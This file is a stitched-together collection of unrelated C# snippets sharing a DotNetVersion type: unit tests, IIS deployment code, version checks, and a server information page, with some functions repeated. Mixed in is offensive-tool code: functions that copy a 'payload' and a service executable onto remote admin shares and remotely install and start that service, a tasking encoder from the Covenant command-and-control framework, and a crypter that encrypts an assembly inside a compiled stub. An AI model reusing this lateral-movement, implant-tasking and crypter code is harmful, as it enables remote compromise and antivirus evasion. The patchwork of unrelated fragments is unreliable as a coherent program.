private bool ReplaceDll()
{
FileInfo dll = null;
if (DotNetVersion.StartsWith("3.5"))
{
dll = Patcher.DLL35;
}
if (DotNetVersion.StartsWith("4.0"))
{
dll = Patcher.DLL40;
}
if (DotNetVersion.StartsWith("4.5"))
{
dll = Patcher.DLL45;
}
if (dll == null)
{
Console.WriteLine($"Warning: unknown version {DotNetVersion}");
Console.WriteLine("Resuming with default (.Net 4.5) . Press Enter to confirm.");
Console.ReadLine();
dll = Patcher.DLL45;
}
var dllPath = Path.Combine(Bin.FullName, "ClientDependency.Core.dll");
var backupDLL = Path.Combine(Patcher.Backup_Folder, $"ClientDependency.Core-{Name.Replace("\\", "-")}.dll");
var originalDLL = new FileInfo(dllPath).CopyTo(backupDLL, true);
dll.CopyTo(dllPath, true);
Console.WriteLine($"DLL version {DotNetVersion} replaced.");
return(true);
}
public DependsOnIncompatibleFramework(Project project, Project dependsOnProject, DotNetVersion projectVersion, DotNetVersion dependsOnVersion)
{
Project = project;
DependsOnProject = dependsOnProject;
ProjectVersion = projectVersion;
DependsOnVersion = dependsOnVersion;
}
public void DotNetVersion_VersionSpsAndProfiles_Built()
{
// Fixture setup...
var version = new Version("4.0");
var servicePacks = new[] {
new Version("1.0"),
new Version("2.0")
};
var profiles = DotNetProfiles.Full;
var dotNetVersion = new DotNetVersion(version);
var builder = new DotNetVersionBuilder
{
Version = version,
ServicePacks = servicePacks,
Profiles = profiles
};
// Exercise SUT...
var builtVersion = builder.DotNetVersion;
// Verify SUT...
Assert.That(builtVersion.Version, Is.SameAs(version));
Assert.That(builtVersion.ServicePacks, Is.SameAs(servicePacks));
Assert.That(builtVersion.Profiles, Is.EqualTo(profiles));
// Fixture teardown by GC...
}
public void DotNetVersion_VersionAndProfiles_Built()
{
// Fixture setup...
var version = new Version("3.0");
var profiles = DotNetProfiles.Client;
var dotNetVersion = new DotNetVersion(version);
var builder = new DotNetVersionBuilder
{
Version = version,
Profiles = profiles
};
// Exercise SUT...
var builtVersion = builder.DotNetVersion;
// Verify SUT...
Assert.That(builtVersion.Version, Is.SameAs(version));
Assert.That(
builtVersion.ServicePacks,
Is.EqualTo(dotNetVersion.ServicePacks)
);
Assert.That(builtVersion.Profiles, Is.EqualTo(profiles));
// Fixture teardown by GC...
}
/// <summary>
/// Creates a per application user, sets security access rules for the application deployment directory
/// and adds a new site to IIS without starting it
/// </summary>
/// <param name="appInfo">Structure that contains parameters required for deploying the application.</param>
/// <param name="version">The dot net framework version supported by the application.</param>
private void DeployApp(ApplicationInfo appInfo, DotNetVersion version)
{
this.startupLogger.Info(Strings.DeployingAppOnIis);
string aspNetVersion = GetAspDotNetVersion(version);
string password = appInfo.WindowsPassword;
string userName = appInfo.WindowsUserName;
try
{
mut.WaitOne();
using (ServerManager serverMgr = new ServerManager())
{
DirectoryInfo deploymentDir = new DirectoryInfo(appInfo.Path);
DirectorySecurity deploymentDirSecurity = deploymentDir.GetAccessControl();
deploymentDirSecurity.SetAccessRule(
new FileSystemAccessRule(
userName,
FileSystemRights.Write | FileSystemRights.Read | FileSystemRights.Delete | FileSystemRights.Modify,
InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit,
PropagationFlags.None,
AccessControlType.Allow));
deploymentDir.SetAccessControl(deploymentDirSecurity);
Site mySite = serverMgr.Sites.Add(this.appName, appInfo.Path, appInfo.Port);
mySite.ServerAutoStart = false;
ApplicationPool applicationPool = serverMgr.ApplicationPools[this.appName];
if (applicationPool == null)
{
serverMgr.ApplicationPools.Add(this.appName);
applicationPool = serverMgr.ApplicationPools[this.appName];
applicationPool.ManagedRuntimeVersion = aspNetVersion;
applicationPool.ProcessModel.IdentityType = ProcessModelIdentityType.SpecificUser;
applicationPool.ProcessModel.UserName = userName;
applicationPool.ProcessModel.Password = password;
if (this.cpuTarget == CpuTarget.X86)
{
applicationPool.Enable32BitAppOnWin64 = true;
}
else
{
applicationPool.Enable32BitAppOnWin64 = false;
}
}
mySite.Applications["/"].ApplicationPoolName = this.appName;
FirewallTools.OpenPort(appInfo.Port, appInfo.Name);
serverMgr.CommitChanges();
}
}
finally
{
mut.ReleaseMutex();
this.startupLogger.Info(Strings.FinishedAppDeploymentOnIis);
}
}
/// <summary>
/// sets the initial data for an application
/// </summary>
/// <param name="variables">All variables needed to run the application.</param>
public void ConfigureApplication(ApplicationVariable[] variables)
{
try
{
ApplicationParsedData parsedData = PluginHelper.GetParsedData(variables);
this.startupLogger = new FileLogger(parsedData.StartupLogFilePath);
this.appName = RemoveSpecialCharacters(parsedData.AppInfo.Name) + parsedData.AppInfo.Port.ToString(CultureInfo.InvariantCulture);
this.appPath = parsedData.AppInfo.Path;
this.applicationInfo = parsedData.AppInfo;
this.autoWireTemplates = parsedData.AutoWireTemplates;
this.aspDotNetVersion = this.GetAppVersion(this.applicationInfo);
this.AutowireApp(parsedData.AppInfo, variables, parsedData.GetServices(), parsedData.LogFilePath, parsedData.ErrorLogFilePath);
this.cpuTarget = this.GetCpuTarget(this.applicationInfo);
}
catch (Exception ex)
{
this.startupLogger.Error(ex.ToString());
throw;
}
}
private static void CopyPayloadExe(DotNetVersion version, string hostname)
{
byte[] svcexe = new byte[0];
if (version == DotNetVersion.net35)
{
svcexe = Properties.Resources.test;
}
if (version == DotNetVersion.net40)
{
svcexe = Properties.Resources.test;
}
if (version == DotNetVersion.net45)
{
svcexe = Properties.Resources.test;
}
var path = hostname + @"\c$\windows\temp\test.exe";
try
{
File.WriteAllBytes(path, svcexe);
#if DEBUG
Console.WriteLine("[*] Copied {0} payload executable to {1}", version, hostname);
#endif
}
catch (UnauthorizedAccessException uae)
{
Console.WriteLine(uae.Message);
return;
}
}
public void ParseDotnetVersion(string text, DotNetType expectedType, string expectedVersion)
{
var version = DotNetVersion.TryParse(text);
Assert.AreEqual(expectedType, version.DotNetType);
Assert.AreEqual(expectedVersion, version.Version.ToString());
}
//protected void Page_Load(object sender, EventArgs e)
//{
// LoadInformation(GetSystemInfo());
// LoadInformation(GetSystemProcessorInfo());
// LoadInformation(GetSystemMemoryInfo());
// LoadInformation(GetSystemStorageInfo());
// LoadInformation(GetRequestHeaderInfo());
// LoadInformation(GetServerVariables());
// LoadInformation(GetEnvironmentVariables());
// LoadInformation(GetSessionInfo());
// LoadInformation(GetSystemObjectInfo());
// LoadInformation(GetMailObjectInfo());
// LoadInformation(GetUploadObjectInfo());
// LoadInformation(GetGraphicsObjectInfo());
// LoadInformation(GetOtherObjectInfo());
//}
private DataTable GetSystemInfo()
{
DataTable table = GenerateDataTable("System Information");
// Server Name
Assign(table, "Server Name", HttpContext.Current.Server.MachineName);
Assign(table, "Server IP", HttpContext.Current.Request.ServerVariables["LOCAl_ADDR"]);
Assign(table, "Server Domain", HttpContext.Current.Request.ServerVariables["Server_Name"]);
Assign(table, "Server Port", HttpContext.Current.Request.ServerVariables["Server_Port"]);
// Web Server
Assign(table, "Web Server Version", HttpContext.Current.Request.ServerVariables["Server_SoftWare"]);
// Path
Assign(table, "Virtual Request Path", HttpContext.Current.Request.FilePath);
Assign(table, "Physical Request Path", HttpContext.Current.Request.PhysicalPath);
Assign(table, "Virtual Application Root Path", HttpContext.Current.Request.ApplicationPath);
Assign(table, "Physical Application Root Path", HttpContext.Current.Request.PhysicalApplicationPath);
Assign(table, "Operating System", OperatingSystemOSVersion);
Assign(table, "Operating System Installation Directory", Environment.SystemDirectory);
Assign(table, ".Net Version", DotNetVersion.ToString());
Assign(table, ".Net Language", DotNetLanguage);
Assign(table, "Server Current Time", DateTime.Now.ToString());
Assign(table, "System Uptime", SystemUptime.ToString());
Assign(table, "Script Timeout", ScriptTimeout.ToString());
return(table);
}
/// <summary>
/// Gets the dot net version that the application runs on.
/// </summary>
/// <param name="appInfo">The application info structure.</param>
/// <returns>The .net version supported by the application</returns>
private DotNetVersion GetAppVersion(ApplicationInfo appInfo)
{
this.startupLogger.Info(Strings.DeterminingApplication);
string[] allAssemblies = Directory.GetFiles(appInfo.Path, "*.dll", SearchOption.AllDirectories);
DotNetVersion version = DotNetVersion.Two;
if (allAssemblies.Length == 0)
{
version = NetFrameworkVersion.GetFrameworkFromConfig(Path.Combine(appInfo.Path, "web.config"));
}
foreach (string assembly in allAssemblies)
{
if (NetFrameworkVersion.GetVersion(assembly) == DotNetVersion.Four)
{
version = DotNetVersion.Four;
break;
}
}
this.startupLogger.Info(Strings.DetectedNet + GetAspDotNetVersion(version));
return(version);
}
public void ParseErrorMessage()
{
const string RequestedSdkVersion = "6.0.301-rtm.22263.15";
const string GlobalJsonFile = "/Users/username/Source/format/global.json";
const string ExpectedErrorMessage = $"Install the [{RequestedSdkVersion}] .NET SDK or update [{GlobalJsonFile}] to match an installed SDK.";
var lines = new List <string>()
{
"The command could not be loaded, possibly because:",
" * You intended to execute a .NET application:",
" The application '--version' does not exist.",
" * You intended to execute a .NET SDK command:",
" A compatible .NET SDK was not found.",
"",
$"Requested SDK version: {RequestedSdkVersion}",
$"global.json file: {GlobalJsonFile}",
"",
"Installed SDKs:",
"6.0.105 [/usr/local/share/dotnet/sdk]",
"6.0.202 [/usr/local/share/dotnet/sdk]",
"6.0.300 [/usr/local/share/dotnet/sdk]",
"7.0.100-preview.4.22252.9 [/usr/local/share/dotnet/sdk]",
"",
$"Install the [{RequestedSdkVersion}] .NET SDK or update [{GlobalJsonFile}] to match an installed SDK.",
"",
"Learn about SDK resolution:",
"https://aka.ms/dotnet/sdk-not-found"
};
var cliVersion = DotNetVersion.Parse(lines);
Assert.True(cliVersion.HasError);
Assert.Equal(ExpectedErrorMessage, cliVersion.ErrorMessage);
}
public DotNetVersionCheck GetVersion(DotNetVersion version)
{
switch (version)
{
case DotNetVersion.DotNet1:
return(new Net1Check(this));
case DotNetVersion.DotNet1_1:
return(new Net1_1Check(this));
case DotNetVersion.DotNet2:
return(new Net2Check(this));
case DotNetVersion.DotNet3:
return(new Net3Check(this));
case DotNetVersion.DotNet3_5:
return(new Net3_5Check(this));
case DotNetVersion.DotNet4:
return(new Net4Check(this));
case DotNetVersion.DotNet4_5:
return(new Net4_5Check(this));
default:
return(new NullDotNetVersion(this));
}
}
private static void CopyServiceExe(DotNetVersion version, string hostname)
{
byte[] svcexe = new byte[0];
if (version == DotNetVersion.net35)
{
svcexe = Properties.Resources.WindowsService1;
}
if (version == DotNetVersion.net40)
{
svcexe = Properties.Resources.WindowsService1;
}
if (version == DotNetVersion.net45)
{
svcexe = Properties.Resources.WindowsService1;
}
var path = hostname + @"\admin$\system32\csexecsvc.exe";
try
{
File.WriteAllBytes(path, svcexe);
#if DEBUG
Console.WriteLine("[*] Copied {0} service executable to {1}", version, hostname);
#endif
}
catch (UnauthorizedAccessException uae)
{
Console.WriteLine(uae.Message);
return;
}
}
private GruntTaskingMessage GetGruntTaskingMessage(GruntTasking tasking, DotNetVersion version)
{
string Message = "";
switch (tasking.Type)
{
case GruntTaskingType.Assembly:
switch (version)
{
case DotNetVersion.Net35:
Message = Convert.ToBase64String(this.GetCompressedILAssembly35(tasking.GruntTask.Name));
if (tasking.Parameters.Any())
{
Message += "," + String.Join(",", tasking.Parameters.Select(P => Convert.ToBase64String(Common.CovenantEncoding.GetBytes(P))));
}
break;
case DotNetVersion.Net40:
Message = Convert.ToBase64String(this.GetCompressedILAssembly40(tasking.GruntTask.Name));
if (tasking.Parameters.Any())
{
Message += "," + String.Join(",", tasking.Parameters.Select(P => Convert.ToBase64String(Common.CovenantEncoding.GetBytes(P))));
}
break;
}
break;
case GruntTaskingType.SetDelay:
Message = tasking.Parameters[0];
break;
case GruntTaskingType.SetJitter:
Message = tasking.Parameters[0];
break;
case GruntTaskingType.SetConnectAttempts:
Message = tasking.Parameters[0];
break;
case GruntTaskingType.Connect:
Message = tasking.Parameters[0] + "," + tasking.Parameters[1];
break;
case GruntTaskingType.Disconnect:
Message = tasking.Parameters[0];
break;
default:
Message = string.Join(",", tasking.Parameters.Select(P => Convert.ToBase64String(Common.CovenantEncoding.GetBytes(P))));
break;
}
return(new GruntTaskingMessage
{
Type = tasking.Type,
Name = tasking.Name,
Message = Message,
Token = tasking.GruntTask == null ? false : tasking.GruntTask.TokenTask
});
}
/// <exception cref="ArgumentNullException">
/// <paramref name="project"/> is null.
/// </exception>
public Generator(Project project, SolutionType type, DotNetVersion dotNetVersion)
{
if (project == null)
{
throw new ArgumentNullException("project");
}
solutionGenerator = CreateSolutionGenerator(project, type, dotNetVersion);
}
static void InstallService(string hostname, DotNetVersion version)
{
while (true) {
try
{
using (var scmHandle = NativeMethods.OpenSCManager(hostname, null, NativeMethods.SCM_ACCESS.SC_MANAGER_CREATE_SERVICE))
{
if (scmHandle.IsInvalid)
{
throw new Win32Exception();
}
using (
var serviceHandle = NativeMethods.CreateService(
scmHandle,
GlobalVars.ServiceName,
GlobalVars.ServiceDisplayName,
NativeMethods.SERVICE_ACCESS.SERVICE_ALL_ACCESS,
NativeMethods.SERVICE_TYPES.SERVICE_WIN32_OWN_PROCESS,
NativeMethods.SERVICE_START_TYPES.SERVICE_AUTO_START,
NativeMethods.SERVICE_ERROR_CONTROL.SERVICE_ERROR_NORMAL,
GlobalVars.ServiceEXE,
null,
IntPtr.Zero,
null,
null,
null))
{
if (serviceHandle.IsInvalid)
{
throw new Win32Exception();
}
#if DEBUG
Console.WriteLine("[*] Installed {0} Service on {1}", version, hostname);
#endif
NativeMethods.StartService(serviceHandle, 0, null);
#if DEBUG
Console.WriteLine("[*] Service Started on {0}", hostname);
#endif
break;
}
}
}//end of try
catch (Exception e)
{
Console.WriteLine("[*] InstallService Exception" + e.ToString());
Console.WriteLine("[*] Retry with cleanup ... ");
try
{
UninstallService(hostname);
}
catch (Exception) { }
}
}
}
/// <summary>
/// 檢查.netFramWork版本是否為4.0以上，不是則執行安裝程序
/// </summary>
private void CheckDotNetVersion()
{
float Version = DotNetVersion.GetVersion();
if (Version >= 4.0f)
{
return;
}
InstallExe("dotNetFx40_Full_x86_x64.exe", true);
}
public IEnumerable <Package> ExtractPackages(DotNetXMLDoc xmlDoc)
{
foreach (XmlNode packageNode in xmlDoc.SelectNodes("//package"))
{
string id = packageNode.Attributes["id"].Value;
string version = packageNode.Attributes["version"].Value;
string dotNetVersion = packageNode.Attributes["targetFramework"]?.Value;
yield return(new Package(id, VersionWithSuffix.TryParse(version), DotNetVersion.TryParse(dotNetVersion)));
}
}
internal static string ToSerializedValue(this DotNetVersion value)
{
switch (value)
{
case DotNetVersion.Net35:
return("Net35");
case DotNetVersion.Net40:
return("Net40");
case DotNetVersion.NetCore31:
return("NetCore31");
}
return(null);
}
public void CtorWithoutProfileDefaultsToAllProfiles()
{
// Fixture setup...
// Exercise SUT...
var version = new DotNetVersion(new Version(), new Version[0]);
// Verify SUT...
Assert.That(
version.Profiles,
Is.EqualTo(DotNetProfiles.ClientFull)
);
// Fixture teardown by GC...
}
public void CtorStoresArgs()
{
// Fixture setup...
var version = new Version();
var packs = new Version[0];
var profiles = DotNetProfiles.Full;
// Exercise and SUT...
var netVersion = new DotNetVersion(version, packs, profiles);
// Verify SUT...
Assert.That(netVersion.Version, Is.EqualTo(version));
Assert.That(netVersion.ServicePacks, Is.EqualTo(packs));
Assert.That(netVersion.Profiles, Is.EqualTo(profiles));
// Fixture teardown by GC...
}
public void MaxDotNetVersion_OneVersion_ThatOne()
{
// Fixture setup...
var version = new DotNetVersion(new Version("1.0"));
var detector = MockRepository.GenerateMock <IDetector>();
detector.Expect(d => d.Versions).Return(new[] { version });
Detector.Current = detector;
// Exercise SUT...
var maxDotNetVersion = Detector.MaxDotNetVersion;
// Verify SUT...
Assert.That(maxDotNetVersion, Is.EqualTo(version));
// Fixture teardown...
Detector.Current = null;
}
public void CanChangeVersionInPackagesConfig(string solutionPath, string projectName, string packageName, string dotNetVersion, string newVersion)
{
var solution = TestHelpers.GetSolution(solutionPath);
var project = solution.Projects.FirstOrDefault(p => p.Name == projectName);
var modifier = DIRegistrar.GetInstance <NugetPackageModifier>();
modifier.ChangeNugetPackageVersionInPackagesConfig(
project,
packageName,
DotNetVersion.TryParse(dotNetVersion),
VersionWithSuffix.TryParse(newVersion));
var reader = DIRegistrar.GetInstance <INugetReferenceReader>();
var packagesConfig = reader.TryReadPackagesConfig(project.ProjectDirectory);
var package = packagesConfig.Packages.FirstOrDefault(p => p.ID == packageName);
Assert.AreEqual(newVersion, package.Version.ToString());
}
/// <summary>
/// check/display the version of .NET installed on the machine
/// </summary>
void CheckDotNetVersion()
{
try
{
// check for the installed .NET versions
logger.Log("The .NET Runtime = " + DotNetVersion.GetRuntimeVersionFromEnvironment());
logger.Log(DotNetVersion.GetDotNetVerFromRegistry());
if (DotNetVersion.GetDotNetVerFromRegistry() == "The .NET Framework 4.5 or later NOT detected")
{
logger.Log("Installed versions of the .NET Framework that are:\n");
logger.Log(DotNetVersion.GetPreV45FromRegistry());
}
}
catch (Exception ex)
{
logger.Log("Error:" + ex.Message);
logger.Log("Stack Trace: " + ex.StackTrace);
}
}
public void Detect_FullProfileMatch_Version()
{
// Fixture setup...
const string keyName = "subKey";
const string valueName = "valueName";
var value = 1;
const bool fullProfileDetected = true;
var expectedVersion = new DotNetVersion(new Version("1.0"));
var builder = MockRepository
.GeneratePartialMock <DotNetVersionBuilder>();
builder.Expect(b => b.DotNetVersion).Return(expectedVersion);
var spec = MockRepository
.GeneratePartialMock <RegistryDetection>();
spec.Expect(s => s.Validate());
spec.Expect(s => s.FullProfileRegistryKeyName).Return(keyName);
spec.Expect(s => s.FullProfileValueName).Return(valueName);
spec.Expect(s => s.FullProfileValue).Return(value);
spec.Expect(s => s.FullProfileDetected = fullProfileDetected);
spec.Expect(s => s.ClientProfileDetected = true);
spec.Expect(s => s.VersionBuilder).Return(builder);
var key = MockRepository.GenerateMock <RegistryKeyBase>(
RegistryHive.PerformanceData
);
key
.Expect(d => d.MatchRegistryValue(keyName, valueName, value))
.Return(fullProfileDetected);
// Exercise SUT...
var actualVersion = spec.Detect(key);
// Verify SUT...
spec.VerifyAllExpectations();
key.VerifyAllExpectations();
Assert.That(actualVersion, Is.SameAs(expectedVersion));
// Fixture teardown by GC...
}
public void VersionsDelegatesToCurrentDetector()
{
// Fixture setup...
var expectedVersions = new DotNetVersion[0];
var detector = MockRepository.GenerateMock <IDetector>();
detector.Expect(d => d.Versions).Return(expectedVersions);
Detector.Current = detector;
// Exercise SUT...
var actualVersions = Detector.Versions;
// Verify SUT...
detector.VerifyAllExpectations();
Assert.That(actualVersions, Is.EqualTo(expectedVersions));
// Fixture teardown...
Detector.Current = null;
}
public void CtorWithoutPacksDefaultsToEmptyPackList()
{
// Fixture setup...
// Exercise SUT...
var version = new DotNetVersion(
new Version(),
DotNetProfiles.Client
);
// Verify SUT...
Assert.That(
version.ServicePacks,
Is.InstanceOf <IEnumerable <Version> >()
);
Assert.That(version.ServicePacks.Count(), Is.EqualTo(0));
// Fixture teardown by GC...
}
public DotNetFrameworkVersion this[DotNetVersion version]
{
get
{
switch (version)
{
case DotNetVersion.v1_1:
return(_versions.SingleOrDefault(x => x.Version.StartsWith("1.1")));
case DotNetVersion.v2_0:
return(_versions.SingleOrDefault(x => x.Version.StartsWith("2.0")));
case DotNetVersion.v3_0:
return(_versions.SingleOrDefault(x => x.Version.StartsWith("3.0")));
case DotNetVersion.v3_5:
return(_versions.SingleOrDefault(x => x.Version.StartsWith("3.5")));
case DotNetVersion.v4_0:
return(_versions.SingleOrDefault(x => x.TargetVersion == "4.0.0"));
case DotNetVersion.v4_0_client:
return(_versions.SingleOrDefault(x => x.TargetVersion == "4.0.0" && x.Client));
case DotNetVersion.v4_0_full:
return(_versions.SingleOrDefault(x => x.TargetVersion == "4.0.0" && x.Full));
case DotNetVersion.v4_5:
return(_versions.SingleOrDefault(x => x.Version.StartsWith("4.5")));
case DotNetVersion.v4_5_client:
return(_versions.SingleOrDefault(x => x.Version.StartsWith("4.5") && x.Client));
case DotNetVersion.v4_5_full:
return(_versions.SingleOrDefault(x => x.Version.StartsWith("4.5") && x.Full));
default:
return(null);
}
}
}
public void DotNetVersion_VersionAndServicePacks_Built()
{
// Fixture setup...
var version = new Version("2.0");
var servicePacks = new[] { new Version("1.0") };
var dotNetVersion = new DotNetVersion(version);
var builder = new DotNetVersionBuilder
{
Version = version,
ServicePacks = servicePacks
};
// Exercise SUT...
var builtVersion = builder.DotNetVersion;
// Verify SUT...
Assert.That(builtVersion.Version, Is.SameAs(version));
Assert.That(builtVersion.ServicePacks, Is.SameAs(servicePacks));
// Fixture teardown by GC...
}
/// <summary>
/// Gets the ASP dot net version in string format from the dot net framework version
/// </summary>
/// <param name="version">The dot net framework version.</param>
/// <returns>Asp.NET version in string format. Returns null if version is not supported</returns>
private static string GetAspDotNetVersion(DotNetVersion version)
{
string dotNetVersion = null;
switch (version)
{
case DotNetVersion.Two:
{
dotNetVersion = "v2.0";
break;
}
case DotNetVersion.Four:
{
dotNetVersion = "v4.0";
break;
}
}
return(dotNetVersion);
}
public DotNetVersionCheck GetVersion(DotNetVersion version)
{
switch (version)
{
case DotNetVersion.DotNet1:
return new Net1Check(this);
case DotNetVersion.DotNet1_1:
return new Net1_1Check(this);
case DotNetVersion.DotNet2:
return new Net2Check(this);
case DotNetVersion.DotNet3:
return new Net3Check(this);
case DotNetVersion.DotNet3_5:
return new Net3_5Check(this);
case DotNetVersion.DotNet4:
return new Net4Check(this);
case DotNetVersion.DotNet4_5:
return new Net4_5Check(this);
default:
return new NullDotNetVersion(this);
}
}
/// <summary>
/// sets the initial data for an application
/// </summary>
/// <param name="variables">All variables needed to run the application.</param>
public void ConfigureApplication(ApplicationVariable[] variables)
{
try
{
ApplicationParsedData parsedData = PluginHelper.GetParsedData(variables);
this.startupLogger = new FileLogger(parsedData.StartupLogFilePath);
this.appName = RemoveSpecialCharacters(parsedData.AppInfo.Name) + parsedData.AppInfo.Port.ToString(CultureInfo.InvariantCulture);
this.appPath = parsedData.AppInfo.Path;
this.applicationInfo = parsedData.AppInfo;
this.autoWireTemplates = parsedData.AutoWireTemplates;
this.aspDotNetVersion = this.GetAppVersion(this.applicationInfo);
this.cpuTarget = this.GetCpuTarget(this.applicationInfo);
this.AutowireApp(parsedData.AppInfo, variables, parsedData.GetServices(), parsedData.LogFilePath, parsedData.ErrorLogFilePath);
}
catch (Exception ex)
{
this.startupLogger.Error(ex.ToString());
throw;
}
}
/// <summary>
/// Creates a per application user, sets security access rules for the application deployment directory
/// and adds a new site to IIS without starting it
/// </summary>
/// <param name="appInfo">Structure that contains parameters required for deploying the application.</param>
/// <param name="version">The dot net framework version supported by the application.</param>
private void DeployApp(ApplicationInfo appInfo, DotNetVersion version)
{
this.startupLogger.Info(Strings.DeployingAppOnIis);
string aspNetVersion = GetAspDotNetVersion(version);
string password = appInfo.WindowsPassword;
string userName = appInfo.WindowsUserName;
try
{
mut.WaitOne();
using (ServerManager serverMgr = new ServerManager())
{
DirectoryInfo deploymentDir = new DirectoryInfo(appInfo.Path);
DirectorySecurity deploymentDirSecurity = deploymentDir.GetAccessControl();
deploymentDirSecurity.SetAccessRule(
new FileSystemAccessRule(
userName,
FileSystemRights.Write | FileSystemRights.Read | FileSystemRights.Delete | FileSystemRights.Modify,
InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit,
PropagationFlags.None,
AccessControlType.Allow));
deploymentDir.SetAccessControl(deploymentDirSecurity);
Site mySite = serverMgr.Sites.Add(this.appName, appInfo.Path, appInfo.Port);
mySite.ApplicationDefaults.EnabledProtocols = "http,net.tcp";
mySite.Bindings[0].BindingInformation = string.Format(CultureInfo.InvariantCulture, "{0}:{1}:", appInfo.LocalIP, appInfo.Port);
// Disable net.tcp bindings to allow the app to bind to that TCP port.
mySite.ServerAutoStart = false;
ApplicationPool applicationPool = serverMgr.ApplicationPools[this.appName];
if (applicationPool == null)
{
serverMgr.ApplicationPools.Add(this.appName);
applicationPool = serverMgr.ApplicationPools[this.appName];
applicationPool.ManagedRuntimeVersion = aspNetVersion;
applicationPool.ProcessModel.IdentityType = ProcessModelIdentityType.SpecificUser;
applicationPool.ProcessModel.UserName = userName;
applicationPool.ProcessModel.Password = password;
applicationPool.ProcessModel.LoadUserProfile = true;
if (this.cpuTarget == CpuTarget.X86)
{
applicationPool.Enable32BitAppOnWin64 = true;
}
else
{
applicationPool.Enable32BitAppOnWin64 = false;
}
}
mySite.Applications["/"].ApplicationPoolName = this.appName;
FirewallTools.OpenPort(appInfo.Port, appInfo.Name);
FirewallTools.OpenPort(IISTunnelPlugin.GetNetTcpPort(appInfo.Path), appInfo.Name);
serverMgr.CommitChanges();
}
}
finally
{
mut.ReleaseMutex();
this.startupLogger.Info(Strings.FinishedAppDeploymentOnIis);
}
}
/// <summary>
/// Gets the ASP dot net version in string format from the dot net framework version
/// </summary>
/// <param name="version">The dot net framework version.</param>
/// <returns>Asp.NET version in string format. Returns null if version is not supported</returns>
private static string GetAspDotNetVersion(DotNetVersion version)
{
string dotNetVersion = null;
switch (version)
{
case DotNetVersion.Two:
{
dotNetVersion = "v2.0";
break;
}
case DotNetVersion.Four:
{
dotNetVersion = "v4.0";
break;
}
}
return dotNetVersion;
}
/// <summary>
/// Packs the provided assembly using the chosen .NET framework.
/// </summary>
/// <param name="assembly">A byte[] array containing the original assemly</param>
/// <param name="version">The version of the .NET framework used.</param>
/// <returns>a byte[] array containing the packed assembly</returns>
public static byte[] Pack(byte[] assembly, DotNetVersion version)
{
RijndaelManaged rijndael = new RijndaelManaged();
rijndael.KeySize = 256;
rijndael.GenerateIV();
rijndael.GenerateKey();
string key = Convert.ToBase64String(rijndael.Key);
string iv = Convert.ToBase64String(rijndael.IV);
string app = "";
MemoryStream memoryStream = new MemoryStream();
rijndael.Padding = PaddingMode.ISO10126;
CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndael.CreateEncryptor(), CryptoStreamMode.Write);
cryptoStream.Write(assembly, 0, assembly.Length);
cryptoStream.FlushFinalBlock();
cryptoStream.Flush();
memoryStream.Seek(0, SeekOrigin.Begin);
app = Convert.ToBase64String(memoryStream.ToArray());
cryptoStream.Close();
memoryStream.Close();
string csharpcode = netcrypt.Properties.Resources.StubCode;
csharpcode = csharpcode.Replace("%KEY%", key);
csharpcode = csharpcode.Replace("%IV%", iv);
csharpcode = csharpcode.Replace("%PROGRAM%", app);
Assembly orig = Assembly.Load(assembly);
var providerOptions = new Dictionary<string, string>();
switch (version)
{
case DotNetVersion.v4_0:
providerOptions.Add("CompilerVersion", "v4.0");
break;
case DotNetVersion.v3_5:
providerOptions.Add("CompilerVersion", "v3.5");
break;
case DotNetVersion.v2_0:
default:
providerOptions.Add("CompilerVersion", "v4.0");
break;
}
CSharpCodeProvider codeProvider = new CSharpCodeProvider(providerOptions);
CompilerParameters parameters = new CompilerParameters();
parameters.CompilerOptions = "/target:winexe";
AssemblyName[] names = orig.GetReferencedAssemblies();
foreach (AssemblyName name in names)
{
if (name.Name.Contains("System.") ||
name.Name.Contains("Microsoft."))
parameters.ReferencedAssemblies.Add(name.Name + ".dll");
}
string tempFile = System.IO.Path.GetTempPath() + Guid.NewGuid().ToString() + ".exe";
parameters.GenerateExecutable = true;
parameters.OutputAssembly = tempFile;
CompilerResults results = codeProvider.CompileAssemblyFromSource(parameters, csharpcode);
try {
FileStream fs = results.CompiledAssembly.GetFiles()[0];
byte[] barr = new byte[fs.Length];
int r = fs.Read(barr, 0, barr.Length);
fs.Close();
string fileName = fs.Name;
fs.Dispose();
if (r == barr.Length)
{
return barr;
}
else
{
return null;
}
} catch {
return null;
}
}
/// <summary>
/// Creates a per application user, sets security access rules for the application deployment directory
/// and adds a new site to IIS without starting it
/// </summary>
/// <param name="appInfo">Structure that contains parameters required for deploying the application.</param>
/// <param name="version">The dot net framework version supported by the application.</param>
private void DeployApp(ApplicationInfo appInfo, DotNetVersion version)
{
this.startupLogger.Info(Strings.DeployingAppOnIis);
string aspNetVersion = GetAspDotNetVersion(version);
string password = appInfo.WindowsPassword;
string userName = appInfo.WindowsUserName;
try
{
mut.WaitOne();
using (ServerManager serverMgr = new ServerManager())
{
DirectoryInfo deploymentDir = new DirectoryInfo(appInfo.Path);
DirectorySecurity deploymentDirSecurity = deploymentDir.GetAccessControl();
deploymentDirSecurity.SetAccessRule(
new FileSystemAccessRule(
userName,
FileSystemRights.Write | FileSystemRights.Read | FileSystemRights.Delete | FileSystemRights.Modify,
InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit,
PropagationFlags.None,
AccessControlType.Allow));
deploymentDir.SetAccessControl(deploymentDirSecurity);
Site mySite = serverMgr.Sites.Add(this.appName, appInfo.Path, appInfo.Port);
mySite.ServerAutoStart = false;
ApplicationPool applicationPool = serverMgr.ApplicationPools[this.appName];
if (applicationPool == null)
{
serverMgr.ApplicationPools.Add(this.appName);
applicationPool = serverMgr.ApplicationPools[this.appName];
applicationPool.ManagedRuntimeVersion = aspNetVersion;
applicationPool.ProcessModel.IdentityType = ProcessModelIdentityType.SpecificUser;
applicationPool.ProcessModel.UserName = userName;
applicationPool.ProcessModel.Password = password;
if (this.cpuTarget == CpuTarget.X86)
{
applicationPool.Enable32BitAppOnWin64 = true;
}
else
{
applicationPool.Enable32BitAppOnWin64 = false;
}
}
mySite.Applications["/"].ApplicationPoolName = this.appName;
FirewallTools.OpenPort(appInfo.Port, appInfo.Name);
serverMgr.CommitChanges();
}
}
finally
{
mut.ReleaseMutex();
this.startupLogger.Info(Strings.FinishedAppDeploymentOnIis);
}
}
